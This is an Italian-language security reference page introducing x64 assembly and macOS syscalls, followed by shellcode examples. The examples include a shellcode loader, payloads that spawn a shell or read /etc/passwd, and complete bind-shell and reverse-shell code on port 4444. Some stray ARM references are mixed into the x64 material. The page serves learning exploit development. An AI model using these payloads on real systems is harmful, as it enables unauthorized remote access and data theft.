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hacktricks/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md

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# Introduzione a x64
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## **Introduzione a x64**
x64, noto anche come x86-64, è un'architettura di processore a 64 bit utilizzata prevalentemente nel computing desktop e server. Originata dall'architettura x86 prodotta da Intel e successivamente adottata da AMD con il nome AMD64, è l'architettura prevalente nei computer personali e nei server di oggi.
### **Registri**
x64 si espande sull'architettura x86, presentando **16 registri a uso generale** etichettati `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, e `r8` fino a `r15`. Ognuno di questi può memorizzare un valore **a 64 bit** (8 byte). Questi registri hanno anche sottoregistri a 32 bit, 16 bit e 8 bit per compatibilità e compiti specifici.
1. **`rax`** - Tradizionalmente usato per i **valori di ritorno** dalle funzioni.
2. **`rbx`** - Spesso usato come **registro base** per operazioni di memoria.
3. **`rcx`** - Comunemente usato per **contatori di ciclo**.
4. **`rdx`** - Usato in vari ruoli, comprese le operazioni aritmetiche estese.
5. **`rbp`** - **Puntatore base** per il frame dello stack.
6. **`rsp`** - **Puntatore dello stack**, tiene traccia della cima dello stack.
7. **`rsi`** e **`rdi`** - Usati per gli **indici di sorgente** e **destinazione** nelle operazioni su stringhe/memoria.
8. **`r8`** a **`r15`** - Registri a uso generale aggiuntivi introdotti in x64.
### **Convenzione di Chiamata**
La convenzione di chiamata x64 varia tra i sistemi operativi. Ad esempio:
- **Windows**: I primi **quattro parametri** sono passati nei registri **`rcx`**, **`rdx`**, **`r8`** e **`r9`**. Ulteriori parametri sono spinti nello stack. Il valore di ritorno è in **`rax`**.
- **System V (comunemente usato nei sistemi simili a UNIX)**: I primi **sei parametri interi o puntatori** sono passati nei registri **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** e **`r9`**. Il valore di ritorno è anch'esso in **`rax`**.
Se la funzione ha più di sei input, il **resto sarà passato nello stack**. **RSP**, il puntatore dello stack, deve essere **allineato a 16 byte**, il che significa che l'indirizzo a cui punta deve essere divisibile per 16 prima che avvenga qualsiasi chiamata. Questo significa che normalmente dovremmo assicurarci che RSP sia correttamente allineato nel nostro shellcode prima di effettuare una chiamata a funzione. Tuttavia, in pratica, le chiamate di sistema funzionano molte volte anche se questo requisito non è soddisfatto.
### Convenzione di Chiamata in Swift
Swift ha la sua **convenzione di chiamata** che può essere trovata in [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)
### **Istruzioni Comuni**
Le istruzioni x64 hanno un set ricco, mantenendo la compatibilità con le istruzioni x86 precedenti e introducendo nuove istruzioni.
- **`mov`**: **Sposta** un valore da un **registro** o **posizione di memoria** a un altro.
- Esempio: `mov rax, rbx` — Sposta il valore da `rbx` a `rax`.
- **`push`** e **`pop`**: Spingere o estrarre valori da/per lo **stack**.
- Esempio: `push rax` — Spinge il valore in `rax` nello stack.
- Esempio: `pop rax` — Estrae il valore superiore dallo stack in `rax`.
- **`add`** e **`sub`**: Operazioni di **addizione** e **sottrazione**.
- Esempio: `add rax, rcx` — Aggiunge i valori in `rax` e `rcx` memorizzando il risultato in `rax`.
- **`mul`** e **`div`**: Operazioni di **moltiplicazione** e **divisione**. Nota: queste hanno comportamenti specifici riguardo all'uso degli operandi.
- **`call`** e **`ret`**: Usati per **chiamare** e **ritornare dalle funzioni**.
- **`int`**: Usato per attivare un **interruzione** software. E.g., `int 0x80` era usato per le chiamate di sistema in Linux x86 a 32 bit.
- **`cmp`**: **Confronta** due valori e imposta i flag della CPU in base al risultato.
- Esempio: `cmp rax, rdx` — Confronta `rax` con `rdx`.
- **`je`, `jne`, `jl`, `jge`, ...**: Istruzioni di **salto condizionale** che cambiano il flusso di controllo in base ai risultati di un precedente `cmp` o test.
- Esempio: Dopo un'istruzione `cmp rax, rdx`, `je label` — Salta a `label` se `rax` è uguale a `rdx`.
- **`syscall`**: Usato per **chiamate di sistema** in alcuni sistemi x64 (come i moderni Unix).
- **`sysenter`**: Un'istruzione di **chiamata di sistema** ottimizzata su alcune piattaforme.
### **Prologo della Funzione**
1. **Spingere il vecchio puntatore base**: `push rbp` (salva il puntatore base del chiamante)
2. **Spostare il puntatore dello stack corrente nel puntatore base**: `mov rbp, rsp` (imposta il nuovo puntatore base per la funzione corrente)
3. **Allocare spazio nello stack per le variabili locali**: `sub rsp, <size>` (dove `<size>` è il numero di byte necessari)
### **Epilogo della Funzione**
1. **Spostare il puntatore base corrente nel puntatore dello stack**: `mov rsp, rbp` (dealloca le variabili locali)
2. **Estrarre il vecchio puntatore base dallo stack**: `pop rbp` (ripristina il puntatore base del chiamante)
3. **Restituire**: `ret` (restituisce il controllo al chiamante)
## macOS
### syscalls
Ci sono diverse classi di syscalls, puoi [**trovarle qui**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall_sw.h)**:**
```c
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
#define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */
#define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
```
Quindi, puoi trovare ogni numero di syscall [**in this url**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
```c
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
2 AUE_FORK ALL { int fork(void); }
3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); }
6 AUE_CLOSE ALL { int close(int fd); }
7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8 AUE_NULL ALL { int nosys(void); } { old creat }
9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); }
10 AUE_UNLINK ALL { int unlink(user_addr_t path); }
11 AUE_NULL ALL { int nosys(void); } { old execv }
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
```
Quindi, per chiamare la syscall `open` (**5**) dalla **classe Unix/BSD** è necessario aggiungerla: `0x2000000`
Quindi, il numero della syscall per chiamare open sarebbe `0x2000005`
### Shellcodes
Per compilare:
```bash
nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
```
Per estrarre i byte:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
```
<details>
<summary>Codice C per testare lo shellcode</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
```
</details>
#### Shell
Preso da [**qui**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) e spiegato.
{{#tabs}}
{{#tab name="with adr"}}
```armasm
bits 64
global _main
_main:
call r_cmd64
db '/bin/zsh', 0
r_cmd64: ; the call placed a pointer to db (argv[2])
pop rdi ; arg1 from the stack placed by the call to l_cmd64
xor rdx, rdx ; store null arg3
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{{#endtab}}
{{#tab name="con stack"}}
```armasm
bits 64
global _main
_main:
xor rdx, rdx ; zero our RDX
push rdx ; push NULL string terminator
mov rbx, '/bin/zsh' ; move the path into RBX
push rbx ; push the path, to the stack
mov rdi, rsp ; store the stack pointer in RDI (arg1)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{{#endtab}}
{{#endtabs}}
#### Leggi con cat
L'obiettivo è eseguire `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, quindi il secondo argomento (x1) è un array di parametri (che in memoria significa uno stack degli indirizzi).
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi ; Add "/etc/passwd" to the stack (arg0)
push rdi ; Add "/bin/cat" to the stack (arg1)
; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
```
#### Esegui comando con sh
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 32 ; Create space on the stack
; Argument array
lea rdi, [rel touch_command]
push rdi ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi ; push &"-c"
lea rdi, [rel sh_path]
push rdi ; push &"/bin/sh"
; execve syscall
mov rsi, rsp ; rsi = pointer to argument array
xor rdx, rdx ; rdx = NULL (no env variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
_exit:
xor rdi, rdi ; Exit status code 0
push 1 ; put 1 on the stack (exit syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
section .data
sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
```
#### Bind shell
Bind shell da [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) in **porta 4444**
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xffffffffa3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; bind(host_sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x68
syscall
; listen(host_sockid, 2)
xor rsi, rsi
mov sil, 0x2
mov rax, r8
mov al, 0x6a
syscall
; accept(host_sockid, 0, 0)
xor rsi, rsi
xor rdx, rdx
mov rax, r8
mov al, 0x1e
syscall
mov rdi, rax
mov sil, 0x3
dup2:
; dup2(client_sockid, 2)
; -> dup2(client_sockid, 1)
; -> dup2(client_sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
mov rax, r8
mov al, 0x3b
syscall
```
#### Reverse Shell
Reverse shell da [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Reverse shell a **127.0.0.1:4444**
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xfeffff80a3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; connect(sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x62
syscall
xor rsi, rsi
mov sil, 0x3
dup2:
; dup2(sockid, 2)
; -> dup2(sockid, 1)
; -> dup2(sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
xor rdx, rdx
mov rax, r8
mov al, 0x3b
syscall
```
{{#include ../../../banners/hacktricks-training.md}}
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